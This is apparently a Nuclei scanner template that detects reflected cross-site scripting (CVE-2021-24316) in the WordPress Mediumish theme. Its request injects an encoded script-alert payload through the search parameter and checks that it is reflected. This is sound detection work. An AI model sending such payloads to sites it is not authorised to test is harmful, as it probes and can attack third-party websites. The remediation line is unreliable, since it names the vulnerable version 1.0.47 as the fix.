id: CVE-2021-24316

info:
  name: WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The 's' GET parameter is not properly sanitized by the search feature before it is output back on the page.
  remediation: |
    Update to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
    - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
    - https://www.wowthemes.net/themes/mediumish-wordpress/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24316
    cwe-id: CWE-79
    epss-score: 0.00246
    epss-percentile: 0.62272
    cpe: cpe:2.3:a:wowthemes:mediumish:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wowthemes
    product: mediumish
    framework: wordpress
  tags: cve,cve2021,mediumish,xss,wordpress,wpscan,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>alert(/{{randstr}}/)</script>
          - Sorry, no posts matched your criteria.
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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